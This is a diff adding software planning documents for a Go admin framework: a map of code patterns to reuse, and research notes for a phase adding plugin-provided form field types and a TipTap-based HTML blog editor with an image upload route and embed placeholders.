| `../sm-journal-plugin/classes/media_store.go` (NEW, extracted) | service | file-I/O | `../sm-journal-plugin/controllers/api/media.go` `UploadMedia` (22-91) | exact (extraction) |
|
||||
| `../sm-journal-plugin/controllers/posts.go` (`preparePostWrite`, FormAfter* companion) | controller hook | CRUD | itself 204-221 | self |
|
||||
| `../sm-journal-plugin/controllers/categories.go` | controller hook | CRUD | itself 60-82 (keep) | self |
|
||||
| `../sm-journal-plugin/plugin.go` / `admin.go` (register types, embed dist) | config | — | `admin.go:16-20` `//go:embed` list | exact |
|
||||
| `../sm-journal-plugin/models/post/fields.yaml:19`, `models/category/fields.yaml:28` | config | — | — (one-line type swaps) | n/a |
|
||||
| `../sm-journal-plugin/assets/src/blogeditor/*.ts`, `assets/dist/blogeditor.{js,css}` | component (custom element) | event-driven | element contract from `WidgetField.vue` header; no TipTap analog | **no analog** (use RESEARCH Pattern 4/5) |
|
||||
| `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh` | config | batch | `admin/package.json`, `scripts/check-admin-dist.sh` | exact |
|
||||
| `../vue-journal-layer/app/utils/embeds.ts` (NEW) + `PostBody.vue:11`, `CategoryHeader.vue:17` | utility | transform | `../vue-journal-layer/app/utils/htmlGate.ts` | exact |
|
||||
| Release: tag v0.1.17, journal/host go.mod bumps, layer v0.2.0 + app pin, UAT redeploy | config | batch | Phase 16.1 release plan (`.planning/phases/16.1-*/16.1-02-PLAN.md`) | exact |
|
||||
|
||||
## Pattern Assignments
|
||||
|
||||
### `modules/pact/capabilities.go` (interface)
|
||||
|
||||
**Analog:** same file, `AdminAction` lines 217-270. Copy the shape: a struct of plain fields plus func fields tagged `json:"-"`, a separate `...Input` struct, a separate `...Result` struct, and a one-method `Has...` interface. Doc comments say what the framework owns versus what the func owns.
|
||||
|
||||
```go
|
||||
type AdminAction struct {
|
||||
Name string
|
||||
Label string
|
||||
Permissions []string
|
||||
Run func(ctx context.Context, in AdminActionInput) (AdminActionResult, error) `json:"-"`
|
||||
}
|
||||
...
|
||||
// HasAdminActions is implemented by an admin controller that registers named
|
||||
// actions for its toolbar.buttons list and its `type: widget` form fields.
|
||||
type HasAdminActions interface {
|
||||
AdminActions() []AdminAction
|
||||
}
|
||||
```
|
||||
`HasFormFieldTypes` is implemented by the **plugin** (not the controller), like `HasAdminControllers` (line 183-184). `pact.FieldError{Messages []string}` replaces `cabana.ValidationError`, because pact cannot import cabana. Asset fields reuse the `AdminClientAssets` path rule documented in lines 205-210 (paths under `assets/`).
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/field_type.go` (registry, boot validation)
|
||||
|
||||
**Analog:** `modules/cabana/extension.go`
|
||||
|
||||
**Element tag rule** (lines 49-55, 320-333). Reuse as is for `FormFieldType.Element`:
|
||||
```go
|
||||
func widgetTagPrefix(pluginID string) string {
|
||||
return strings.NewReplacer(".", "-", "_", "-").Replace(strings.ToLower(pluginID)) + "-"
|
||||
}
|
||||
func checkWidgetTag(tag, prefix string) error {
|
||||
if !widgetTagPattern.MatchString(tag) { ... }
|
||||
if reservedWidgetTags[tag] { ... }
|
||||
if !strings.HasPrefix(tag, prefix) { ... }
|
||||
return nil
|
||||
}
|
||||
```
|
||||
|
||||
**Asset read+hash** (lines 253-300). Extract the `read` closure into a function that takes `(pluginID, ownerLabel, fsys, files, exts...)` so controller assets and plugin field-type assets share it. The key is `vendor + "/" + plugin + "/" + strings.TrimPrefix(name, "assets/")` and the version is `digest[:12]`; errors go through `bootErr(pluginID, id, name, err)`. `checkAssetPath` (302-318) is reused unchanged.
|
||||
|
||||
**Name uniqueness pattern**: `compileActions` (335+) builds a map and fails on duplicates or reserved names (`builtinToolbarActions`, line 47). Apply the same check to aliases against the `formFieldTypes` keys, `widget`, `partial` and other plugins' aliases. Do not use a package-level registry: build it in `Activate` (`http.go:74-121`) and pass it into `compileRegistry`.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/field_type_upload.go` (controller, file-I/O)
|
||||
|
||||
**Analog:** `modules/cabana/field_file.go` lines 684-760, routes in `http.go:335-347`.
|
||||
|
||||
```go
|
||||
func (s *service) fileUpload(w http.ResponseWriter, r *http.Request) {
|
||||
s.protect(w, r, func(cc *CompiledController) { s.fileUploadOn(w, r, cc, parentFiles(cc)) })
|
||||
}
|
||||
...
|
||||
body := &bodyReader{r: http.MaxBytesReader(w, r.Body, s.uploadCap(cf))}
|
||||
r.Body = io.NopCloser(body)
|
||||
mr, err := r.MultipartReader()
|
||||
if err != nil { writeCRUDError(w, invalidBody()); return }
|
||||
part, err := mr.NextPart()
|
||||
...
|
||||
err = lagoon.Transaction(r.Context(), db, func(ctx context.Context, tx *gorm.DB) error {
|
||||
ctx = withTx(ctx, tx)
|
||||
sc, err := fr.scope(ctx, tx, r)
|
||||
```
|
||||
Route registration follows `g.Post("/{vendor}/{plugin}/{controller}/{id}/files/{field}", requireAjax(s.fileUpload))`, so the new route is `g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload))`. Use `s.uploadBytes` for the cap, load the record through the `FormExtendQuery` scope when `id != 0`, map `pact.FieldError` to 422 on the field, and answer 201 `{data:{url}}`. Also add an entry to `admin_openapi.go` and `phase09Routes`, add a conformCase for the route to `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker), and rerun `scripts/check-admin-openapi.sh`.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/tx_context.go` (written-values accessor)
|
||||
|
||||
**Analog:** same file, lines 36-60:
|
||||
```go
|
||||
type virtualFieldsKey struct{}
|
||||
|
||||
func withVirtualFields(ctx context.Context, values map[string]any) context.Context {
|
||||
if values == nil { values = map[string]any{} }
|
||||
return context.WithValue(ctx, virtualFieldsKey{}, values)
|
||||
}
|
||||
|
||||
func VirtualFieldsFromContext(ctx context.Context) (map[string]any, bool) {
|
||||
if ctx == nil { return nil, false }
|
||||
values, ok := ctx.Value(virtualFieldsKey{}).(map[string]any)
|
||||
```
|
||||
Mirror it as `fieldWritesKey{}` / `withFieldWrites` / exported `FieldWritesFromContext(ctx) (map[string]map[string]string, bool)` (field → locale → value), returning a copy and the same "false outside a create or update save" semantics.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/crud.go` + `field_ml.go` (save and hydrate)
|
||||
|
||||
**Analog:** the existing ML path in `save()`:
|
||||
- `crud.go:600` `translations, err := liftMLValues(ctx, cc, in.Body, op, s.writer, s.DB)` runs before the tx. Add the plugin shape check here; translatable plugin types reuse the `liftMLValues` locale-map rules (`field_ml.go` doc at 52-58).
|
||||
- `crud.go:616` `loadRecord(...)`. Insert the per-(field, locale) Load → compare → skip/Decode step right after this.
|
||||
- `crud.go:688` `applyMLTranslations(ctx, tx, s.writer, target, translations)`. Decoded non-default values join `translations`.
|
||||
- `crud.go:709` `hydrateMLRecord(...)`. Call plugin `Load` per locale here.
|
||||
- `crud.go:1224-1232`: the `scalarFormField` switch gains a registry lookup (it is used by `BindWritableFields` at 204 and `mergedRules` at 1073).
|
||||
- `field_ml.go:47-53` `mlFieldType(typ)`: becomes registry-aware (a plugin type with `Translatable: true`).
|
||||
- Error mapping: follow `lifecycleFailure` (crud.go:815-850). `pact.FieldError` becomes a 422; anything else becomes the opaque 500.
|
||||
|
||||
### `modules/cabana/form_schema.go`
|
||||
|
||||
The self-pattern at lines 24-30 (closed set) and 466-480 (key check before type resolution). Reorder so the type resolves first and plugin `Options` keys are checked after it, then call `CheckOptions`. `decodeFields` callers: form_schema.go:194, settings.go:74 (refuse plugin types in v1), relation_form.go:145/:246.
|
||||
|
||||
---
|
||||
|
||||
### `admin/src/components/form/fields/PluginField.vue` (component, event-driven)
|
||||
|
||||
**Analog:** `admin/src/components/form/fields/WidgetField.vue`. Copy:
|
||||
- the imports block (lines 1-9: `inject`, `FORM_ASSETS`, `FORM_LOCALE`, `ExtensionFailure`, `FieldControlProps`);
|
||||
- the imperative element creation in a `mountPoint` that Vue never renders into;
|
||||
- the `status: 'loading' | 'ready' | 'failed'` ref, the `defined(tag)` wait with `timeout(ms)` (lines 50-60);
|
||||
- the header-comment rule: never give the element a token, cookie, function or Vue instance.
|
||||
|
||||
Differences: set `el.value` (property, not attribute); listen for `summer-change` → `emit('update:modelValue', detail.value)`; handle `summer-upload` by posting through `api` (the same client as the widget action) to the field upload route, then dispatch `summer-upload-result`. Add event-name constants next to `WIDGET_EVENT`/`WIDGET_RESULT_EVENT` in `formContext.ts:86,93`.
|
||||
|
||||
### ML variant
|
||||
|
||||
**Analog:** `admin/src/components/form/fields/MLMarkdownField.vue` (whole file):
|
||||
```vue
|
||||
<MLField v-bind="props" :inner="MarkdownField" inner-type="markdown" ml-type="mlmarkdown"
|
||||
@update:model-value="emit('update:modelValue', $event)" />
|
||||
```
|
||||
Use `:inner="PluginField"`, `inner-type` = the base alias, and `ml-type` = `field.type`. Let `isMLFieldType` (`mlLocale.ts:2`, `ML_FIELD_TYPES`) accept fields flagged `translatable`.
|
||||
|
||||
### `admin/src/components/form/registry.ts`
|
||||
|
||||
Self-pattern: `rendererFor(type)` returns `renderers.get(type) ?? lazyRenderers.get(type)?.() ?? UnsupportedField`. Change it to take the field (or check `field.element`) so plugin types fall back to `PluginField`/`MLPluginField` instead of `UnsupportedField`. `valueless` stays unchanged. Add translatable plugin types to `groupLabelledTypes` behaviour.
|
||||
|
||||
### `admin/src/app/fieldTypes.ts` (global loader)
|
||||
|
||||
**Analog:** `admin/src/app/pluginAssets.ts`. Reuse `assetAllowed()`, the `scripts` once-per-URL map, and the module-script loading. Unlike `activateStyles(controllerId)` (lines 105-110, which disables links whose `owner !== active`), field-type links need a reserved global owner that `activateStyles` skips (Pitfall 8). Call it once after login, from the app shell.
|
||||
|
||||
---
|
||||
|
||||
### `../sm-journal-plugin/classes/blog_editor.go` (Decode/Load/ListValue/Upload)
|
||||
|
||||
**Analog (gate):** `classes/format_html.go`, `CheckHTML(doc string) error`. **Analog (422 shape and nil content):** `controllers/categories.go:65-82`:
|
||||
```go
|
||||
func prepareCategoryWrite(cat *models.Category) error {
|
||||
if cat.Content == nil { return nil }
|
||||
if strings.TrimSpace(*cat.Content) == "" { cat.Content = nil; return nil }
|
||||
if err := classes.CheckHTML(*cat.Content); err != nil {
|
||||
return &cabana.ValidationError{Details: map[string]any{"content": []string{err.Error()}}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
```
|
||||
In Decode, return `pact.FieldError{Messages: []string{err.Error()}}` instead of `cabana.ValidationError`. Load serves `content` if it looks like HTML, otherwise `content_html` (non-default locale through `TranslationWriter.TranslatedExact`, `field_ml.go` interface).
|
||||
|
||||
### `../sm-journal-plugin/classes/media_store.go` (extracted storage)
|
||||
|
||||
**Analog:** `controllers/api/media.go` `UploadMedia` lines 22-91. Extract the part after auth (lines ~42-84): the extension allowlist `jpg|jpeg|png|gif|webp`, the `mediaMaxBytes` cap, `mediaObjectPath(folder, name)`, `uniqueMediaKey`, `bucket.NewWriter` and `attach.PublicURL(...)`. Use it as a `StoreMedia(ctx, bucket, folder, filename, body) (url, path string, err error)` called by both `UploadMedia` and the `blogeditor` Upload. Validation messages ("The file must be an image." and so on) become `pact.FieldError` on the field route. The API route keeps its response shape (D-09 parity).
|
||||
|
||||
### `../sm-journal-plugin/controllers/posts.go`
|
||||
|
||||
Self-pattern `preparePostWrite` (204-221). The admin path drops:
|
||||
```go
|
||||
html, err := classes.FormatHTML(post.Content)
|
||||
...
|
||||
post.ContentHTML = html
|
||||
```
|
||||
Replace it with `if writes, ok := cabana.FieldWritesFromContext(ctx); ok { if v, ok := writes["content"][defaultLocale]; ok { post.ContentHTML = v } }`. In `FormAfterCreate`/`FormAfterUpdate`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)` for each written non-default locale. `controllers/api/posts_helpers.go` keeps `FormatHTML`.
|
||||
|
||||
### `../sm-journal-plugin/admin.go` / `plugin.go`
|
||||
|
||||
The `//go:embed` list in `admin.go:16-20`, for example `//go:embed assets/images/journal-icon.svg`. Add `assets/dist/blogeditor.js assets/dist/blogeditor.css`. The plugin type implements `pact.HasFormFieldTypes`, with compile-time assertions in the style of `var ( _ pact.AdminController = categoriesAdminController{} )` (categories.go:84+).
|
||||
|
||||
### `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh`
|
||||
|
||||
**Analog:** `scripts/check-admin-dist.sh` (whole file): `set -euo pipefail`, `npm ci` if needed, typecheck, `vite build --outDir "$TMP/dist" --emptyOutDir`, then `diff -r "$TMP/dist" assets/dist` with a clear stale message. Copy the pins from `admin/package.json` (vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3).
|
||||
|
||||
### `../vue-journal-layer/app/utils/embeds.ts` (transform)
|
||||
|
||||
**Analog:** `../vue-journal-layer/app/utils/htmlGate.ts`. Same style: an exported regex constant, a header comment that names the Go source of truth, and pure string functions:
|
||||
```ts
|
||||
export const UNSAFE_TAG = /<(?:script|iframe|object|embed)\b/i
|
||||
export function gateJournalHtml(html: string | null | undefined): { safe: boolean; html: string } {
|
||||
if (!html) return { safe: true, html: '' }
|
||||
return isSafeJournalHtml(html) ? { safe: true, html } : { safe: false, html: '' }
|
||||
}
|
||||
```
|
||||
`expandEmbeds(html)` runs on `gated.html` after the gate, in `PostBody.vue:11` (`v-html="gated.html"`) and `CategoryHeader.vue:17` (`v-html="content.html"`).
|
||||
|
||||
## Shared Patterns
|
||||
|
||||
### Fail-loud boot errors
|
||||
**Source:** `modules/cabana/extension.go` `bootErr(pluginID, id, name, err)` and `compileExtension` (60+). **Apply to:** alias collisions, bad element tags, asset paths, and unknown or invalid plugin options.
|
||||
|
||||
### Admin-route guard stack
|
||||
**Source:** `http.go:335-347` (`requireAjax(...)`) plus `s.protect(w, r, func(cc *CompiledController) {...})` (field_file.go:684). **Apply to:** the field upload route and any field-types boot endpoint.
|
||||
|
||||
### Error to HTTP mapping
|
||||
**Source:** `crud.go:815-850` `lifecycleFailure`, `writeCRUDError`, `WriteError(w, 500, "error", msgServerError)`. **Apply to:** Decode, Load and Upload failures (`pact.FieldError` becomes a 422; anything else becomes an opaque 500).
|
||||
|
||||
### Element credential rule and event naming
|
||||
**Source:** `WidgetField.vue` header comment and `formContext.ts:86,93` (`summer-action`/`summer-result`). **Apply to:** PluginField and the blogeditor element (`summer-change`, `summer-upload`, `summer-upload-result`).
|
||||
|
||||
### Committed-dist drift gate
|
||||
**Source:** `scripts/check-admin-dist.sh`. **Apply to:** the admin SPA (`modules/boardwalk/dist`) and the sm-journal-plugin `assets/dist`.
|
||||
|
||||
### Docs and README rule
|
||||
**Source:** CLAUDE.md "Documentation". **Apply to:** pact and cabana READMEs and `docs/`, using neutral `blog`/`acme` names. Verify with `go test ./cmd/summer -run TestDocsTree`.
|
||||
|
||||
### Concurrent-session staging
|
||||
Stage by explicit path. Check `git status` and `git diff` for in-flight edits to `crud.go`, `form_schema.go` and `http.go` before committing.
|
||||
|
||||
## No Analog Found
|
||||
|
||||
| File | Role | Data Flow | Reason |
|
||||
|---|---|---|---|
|
||||
| `../sm-journal-plugin/assets/src/blogeditor/*` (TipTap element, schema, serializer, dirty tracking) | component | event-driven | No TipTap/ProseMirror code in any repo. Use RESEARCH Pattern 3/4/5 and Code Example 3 |
|
||||
| Server-side "served value equals submitted" skip | service | CRUD | New semantics; there is no existing compare-and-skip in `save()`. Use RESEARCH Pattern 3 |
|
||||
|
||||
## Metadata
|
||||
|
||||
**Analog search scope:** `modules/pact`, `modules/cabana`, `admin/src/{app,components/form}`, `scripts/`, `../sm-journal-plugin/{classes,controllers,admin.go}`, `../vue-journal-layer/app/{utils,components/Journal}`
|
||||
**Files scanned:** ~25
|
||||
**Pattern extraction date:** 2026-10-09
|
||||
@@ -0,0 +1,772 @@
|
||||
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Research
|
||||
|
||||
**Researched:** 2026-10-09
|
||||
**Domain:** Go admin framework extension API (pact/cabana), Vue admin SPA, TipTap/ProseMirror custom element, Nuxt layer HTML post-processing
|
||||
**Confidence:** HIGH for the framework integration points (read from source this session) and for TipTap's lossy behaviour (probed locally against 3.31.4). MEDIUM for the recommended editor-preservation design, which is a design proposal that no tests cover yet.
|
||||
|
||||
<user_constraints>
|
||||
## User Constraints (from CONTEXT.md)
|
||||
|
||||
### Locked Decisions
|
||||
|
||||
#### Blog Editor: what it is
|
||||
- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
|
||||
- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after it passes `classes.CheckHTML`. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
|
||||
- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
|
||||
- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to `CheckHTML`.
|
||||
- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes `CheckHTML` unchanged. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
|
||||
- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
|
||||
|
||||
#### Markdown vs HTML posts
|
||||
- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
|
||||
- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
|
||||
- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
|
||||
- **D-10:** **Admin save gate: `CheckHTML` refuses, nothing is sanitized.** Unsafe HTML returns a 422 with a field error, as category content does today, and nothing is silently rewritten. No sanitizer dependency is added. `CheckHTML` must run on every admin write path for both the default and the non-default locale values. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`).
|
||||
|
||||
#### Field type contract (framework)
|
||||
- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
|
||||
- **D-12:** The capability is a new `pact` interface (for example `HasFormFieldTypes`). Its Go side owns four things:
|
||||
1. **Option validation at boot**: the type's own YAML keys, fail-loud like the built-ins.
|
||||
2. **Value decode and validation on save**: any JSON shape, with field errors returned as 422.
|
||||
3. **Load and format for the form**: turns the stored column value into what the element receives. For the Blog Editor, a markdown post is served as its `content_html` (D-07).
|
||||
4. **List column formatting**: for example, strip tags and truncate.
|
||||
|
||||
— **Reversibility:** one-way — a published plugin API in `pact`; later plugins (payment and others, per todo `cabana-plugin-registered-field-types.md`) build on it.
|
||||
- **D-13:** **The client-side element loads globally on admin boot.** A plugin declares its field-type assets once, and the SPA loads them on every admin page, so the type works in any controller's form, including other plugins' forms. The element binds a value through a documented contract instead of the widget action/fill round-trip. The todo's starting point for that contract is a `value` property plus a `summer-change` event; the planner finalizes it. The element reads only the public `--c-*` CSS variables.
|
||||
- **D-14:** **Translatable variants are registered by the plugin itself**: the plugin registers both `blogeditor` and `mlblogeditor`, mirroring the `markdown`/`mlmarkdown` pair. The planner decides how a plugin ML type plugs into cabana's existing lift/hydrate path (`field_ml.go`) and the translate adapter, so locale storage is not reimplemented per plugin.
|
||||
- **D-15:** The form schema and the generated TS types carry plugin types as a generic shape, so the SPA build does not need to know them (per the todo). The cabana README, `docs/`, the admin OpenAPI, the generated TS types and the committed `dist/` are updated in the same change (CLAUDE.md documentation rules).
|
||||
|
||||
#### Libraries, media, category content
|
||||
- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
|
||||
- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
|
||||
- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
|
||||
- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. The existing `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` stays.
|
||||
|
||||
### Claude's Discretion
|
||||
- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
|
||||
- How "untouched" is detected for D-03: client-side dirty tracking versus server-side comparison with the loaded value. Either is acceptable as long as an untouched save is byte-identical.
|
||||
- The ProseMirror schema strategy for preserving unknown markup (generic passthrough nodes and marks, a global attribute preservation extension).
|
||||
- The exact embed placeholder markup and the provider allowlist (YouTube at minimum).
|
||||
- Whether a summercms tag release, the host bump and a UAT redeploy belong in this phase, following the 16.1 D-04 pattern. Recommended, because the goal is to edit imported posts on UAT.
|
||||
- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Framework work comes before the Journal work.
|
||||
- Run the security-review agent: the phase adds a plugin API to `pact`, changes HTML write paths and adds an upload path into the editor.
|
||||
|
||||
### Folded Todos
|
||||
- **`cabana-plugin-registered-field-types.md`**: the framework half of this phase (D-11 to D-15).
|
||||
- **`cabana-richeditor-field-type.md`**: resolved by reusing the Blog Editor for category content (D-19) instead of a core type.
|
||||
- **`journal-imported-html-admin-resave.md`**: the data-loss part is fixed by D-02, D-07 and D-10. Its required test applies: re-save an imported HTML post and assert `content` and `content_html` are unchanged. If 16.1 already shipped a stopgap, this phase replaces it.
|
||||
|
||||
### Deferred Ideas (OUT OF SCOPE)
|
||||
- **Core cabana `richeditor`/`mlricheditor` type** for plugins without their own editor. Not needed now; any plugin can register its own type or reuse one.
|
||||
- **Media library browser** for picking previously uploaded images.
|
||||
- **HTML input on the public write API** (`/_journal/api/v1/posts`). This would extend the PHP contract; the API stays markdown-in for now.
|
||||
- **Bulk HTML conversion command** (`journal:content-to-html`). Rejected in favour of convert-on-first-edit (D-07); revisit if a uniform format is ever needed.
|
||||
- **Allowlisting iframe hosts in `CheckHTML`**. Rejected in favour of placeholders (D-05).
|
||||
</user_constraints>
|
||||
|
||||
<phase_requirements>
|
||||
## Phase Requirements
|
||||
|
||||
No REQUIREMENTS.md IDs are mapped to this phase (ROADMAP: "Requirements: TBD"). Coverage is derived from the CONTEXT decisions and the folded todos. ADMIN-07 (Phase 10.1, complete) is the closest existing requirement; this phase extends it and must not regress it.
|
||||
|
||||
| ID | Description | Research Support |
|
||||
|----|-------------|------------------|
|
||||
| D-01, D-04 | WYSIWYG + source toggle; text, images, tables, embeds, raw HTML block | Standard Stack (TipTap 3.31.4), Pattern 4 (editor schema), probe results in Pitfalls 1-4 |
|
||||
| D-02, D-07, D-10 | HTML in both columns; markdown post served as `content_html`; CheckHTML refuses on every locale; admin path stops running goldmark | Pattern 2 (save lifecycle), Pattern 6 (Journal integration), Pitfall 6 |
|
||||
| D-03 | Byte-identical untouched save | Pattern 3 (two-layer untouched detection), Pitfall 5 |
|
||||
| D-05, D-17 | Embed placeholder; layer expands it after the gate | Pattern 7 (embed expansion), Code Example 4 |
|
||||
| D-06, D-14 | ML variant through cabana lift/hydrate + translate adapter | Pattern 2 (`Translatable` flag), Pitfall 7 (non-default `content_html` is never written today) |
|
||||
| D-08, D-19 | `mlblogeditor` for post content, `blogeditor` for category content | Category content is not translatable (Go model and frozen PHP tree) |
|
||||
| D-11, D-12, D-13, D-15 | pact field-type API, boot validation, generic schema shape, global asset load | Pattern 1 (registry), Pattern 5 (element contract), Architecture Map |
|
||||
| D-16 | Plugin-owned JS build, committed dist | Pattern 8 (plugin build), Environment Availability |
|
||||
| D-18 | Image upload from the editor | **Open Question 1**: the existing route cannot be reached with the admin session cookie; Pattern 9 (cabana-owned field upload route) |
|
||||
| todo resave | Re-save of untouched imported HTML keeps both columns byte-identical | Validation Architecture (test map) |
|
||||
</phase_requirements>
|
||||
|
||||
## Project Constraints (from CLAUDE.md)
|
||||
|
||||
These directives come from `summercms.go/CLAUDE.md`, the meta-repo `CLAUDE.md` and the user's global `CLAUDE.md`. The planner must honor them like locked decisions:
|
||||
|
||||
- **Lean planning.** Use fewer, larger plans. Before writing any PLAN.md, present the suggested plan count with a one-line scope for each and wait for confirmation.
|
||||
- **Unit tests are the last plan of the phase.** That plan brings full coverage. Earlier plans may carry smoke tests only.
|
||||
- **Go conventions.** Use the standard library first. Add a Go dependency only when research or a decision names it; this phase adds **no Go dependency**. `go vet` and `go test ./...` must be green at every commit.
|
||||
- **Compiled plugins only.** No runtime plugin loading. A JS custom element served from the embedded tree is the Phase 10.1 mechanism and is allowed.
|
||||
- **API parity.** The Journal public API keeps the PHP contract (D-09). Do not "improve" response shapes.
|
||||
- **Commits.** No co-author tags. One logical change per commit. Planning docs and code go in separate commits.
|
||||
- **Module documentation.** Any change to a `modules/` package's exported API, config keys, CLI or dependencies updates that module's `README.md` in the same change. `pact` and `cabana` both change here. The affected `docs/` pages change with them, and `go test ./cmd/summer -run TestDocsTree` must pass. Every identifier named in a README or doc must exist.
|
||||
- **Framework READMEs never name a consuming application.** Use `blog`/`acme` examples, not Journal or grzybyfunkcjonalne.
|
||||
- **Core plugin contracts.** Do not break the shared PHP contracts. The PHP originals are not changed.
|
||||
- **Concurrent session.** Another session may be editing `modules/` (16.1 D-02). Stage files explicitly by path and check for in-flight edits to shared cabana files before committing.
|
||||
|
||||
## Summary
|
||||
|
||||
The framework half is a new, value-bearing extension point that sits next to the valueless Phase 10.1 `type: widget`. Today every layer hard-codes its type list:
|
||||
|
||||
- `formFieldTypes` in `form_schema.go`
|
||||
- `scalarFormField` in `crud.go`
|
||||
- `mlFieldType` in `field_ml.go`
|
||||
- `listColumnTypes` in `list_schema.go`
|
||||
- the SPA `renderers` map and `ML_FIELD_TYPES`
|
||||
|
||||
Each list must consult a per-boot plugin type registry, built in `cabana.Activate` from plugins that implement a new `pact.HasFormFieldTypes`. Three constraints shape the design:
|
||||
|
||||
- **Thread the registry through.** `compileFieldNode` is a pure function with no registry access, and `decodeFields` is shared by controller forms, settings forms and relation child forms. The registry has to be passed down, not read from a package global.
|
||||
- **Keep the YAML pre-check working.** The YAML key pre-check (`formFieldKeys`) runs before the type is known, so plugin-specific keys must be validated after the type is resolved.
|
||||
- **Run Decode and Load inside the transaction.** `liftMLValues` runs before the transaction and before the record is loaded. Plugin Decode and Load need the loaded record (D-07 serves `content_html`; D-03 compares with the served value), so they run inside the transaction after `loadRecord`.
|
||||
|
||||
Two findings change the plan:
|
||||
|
||||
- **The Journal media upload route is unreachable from the admin SPA (D-18).**
|
||||
- The SPA authenticates with the HttpOnly `summer_admin` cookie, whose `Path` is the admin prefix.
|
||||
- The route lives at `/_journal/api/v1/media/upload`, outside that path, and its guard reads only a Bearer header.
|
||||
- The element is never given a token (Phase 10.1 rule).
|
||||
- The recommended fix: a cabana-owned upload route for plugin field types. It sits under the admin API, so it gets the cookie, the CSRF header, permissions and the record scope. Journal implements it by calling the same storage code as the existing route.
|
||||
- **TipTap's default schema is very lossy on this site's real markup.** Probed against 3.31.4 with the author-footer HTML from the grzybyfunkcjonalne export, the default schema:
|
||||
- drops `<footer>`, `<div>`, `<span style>`, `<style>`, `<figure>`/`<figcaption>` and microdata attributes;
|
||||
- normalizes entities;
|
||||
- rewrites tables (adds `colgroup` and `min-width` styles, drops `thead`, wraps cell text in `<p>`);
|
||||
- adds `target="_blank" rel="noopener noreferrer nofollow"` to every link;
|
||||
- appends an empty `<p>`.
|
||||
|
||||
Byte preservation therefore has two layers:
|
||||
- The element never re-serializes an untouched document, and the server skips a submitted value that equals what it served.
|
||||
- For edited documents, the custom schema is configured to keep as much markup as possible: an atomic raw-HTML block, a global attribute map, figure, embed and span nodes, and links and tables without TipTap's default attributes.
|
||||
|
||||
There is also a latent gap. The admin path never writes the non-default locale `content_html` translation; only the host column is set by `FormBeforeUpdate`. PHP's `MLJournalMarkdown::getSaveValue` wrote both per locale. The plugin ML type must close this gap, so the framework has to tell the Journal hooks which field and locale values a save actually wrote.
|
||||
|
||||
